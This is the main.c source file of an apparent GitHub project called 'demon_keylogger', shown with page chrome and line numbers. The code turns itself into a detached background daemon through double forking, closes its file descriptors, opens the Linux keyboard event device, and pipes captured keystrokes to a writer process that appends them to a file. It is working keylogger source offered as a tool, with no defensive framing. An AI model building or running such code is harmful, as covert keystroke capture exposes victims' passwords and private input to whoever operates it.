-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
125 lines (97 loc) · 2.54 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <syslog.h>
#include "find_event_file.h"
#include "keylogger.h"
#include "file_writer.h"
pid_t midPpid;
void parent_handler(int sig) {
printf("Daemon started\n");
}
void mid_parent_handler(int sig) {
kill(midPpid, SIGINT);
}
void start_daemon() {
pid_t pid = fork();
if (pid < 0)
exit(EXIT_FAILURE);
if (pid > 0) {
struct sigaction handler;
handler.sa_handler = &parent_handler;
sigaction(SIGINT, &handler, NULL);
pause();
exit(EXIT_SUCCESS);
}
// Now we are in the child process
usleep(100000);
if (setsid() < 0)
exit(EXIT_FAILURE);
pid = fork();
if (pid < 0)
exit(EXIT_FAILURE);
if (pid > 0) {
midPpid = getppid();
struct sigaction handler;
handler.sa_handler = &mid_parent_handler;
sigaction(SIGINT, &handler, NULL);
pause();
exit(EXIT_SUCCESS);
}
// Now we are in the daemon process
usleep(100000);
umask(S_IRUSR | S_IWUSR);
chdir("/");
// Close all open file descriptors
for (int fd = (int)sysconf(_SC_OPEN_MAX); fd >= 0; fd--) {
close(fd);
}
kill(getppid(), SIGINT);
usleep(150000);
// Open the log file
openlog("demon_keylogger", LOG_PID, LOG_DAEMON);
syslog(LOG_INFO, "Daemon started");
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s output-file\n", argv[0]);
exit(EXIT_FAILURE);
}
char *kbFilePath = get_keyboard_event_file();
if (kbFilePath == NULL) {
printf("Couldn't find keyboard file, try to run as superuser\n");
exit(EXIT_FAILURE);
}
char *outFilePath = argv[1];
start_daemon();
int pipeFd[2];
int keyboardFd;
int outFd;
if (pipe(pipeFd) < 0) {
syslog(LOG_CRIT, "Error creating pipe: %m");
return 1;
}
keyboardFd = open(kbFilePath, O_RDONLY);
if ((outFd = open(outFilePath, O_WRONLY | O_APPEND | O_CREAT, S_IROTH)) < 0) {
syslog(LOG_CRIT, "Error opening output file: %m");
exit(EXIT_FAILURE);
}
pid_t pid = fork();
if (pid < 0) {
syslog(LOG_CRIT, "fork: %m");
exit(EXIT_FAILURE);
}
if (pid > 0) {
// Keylogger process
close(pipeFd[0]);
keylogger(keyboardFd, pipeFd[1]);
} else {
// Writer process
close(pipeFd[1]);
file_writer(pipeFd[0], outFd);
}
return 0;
}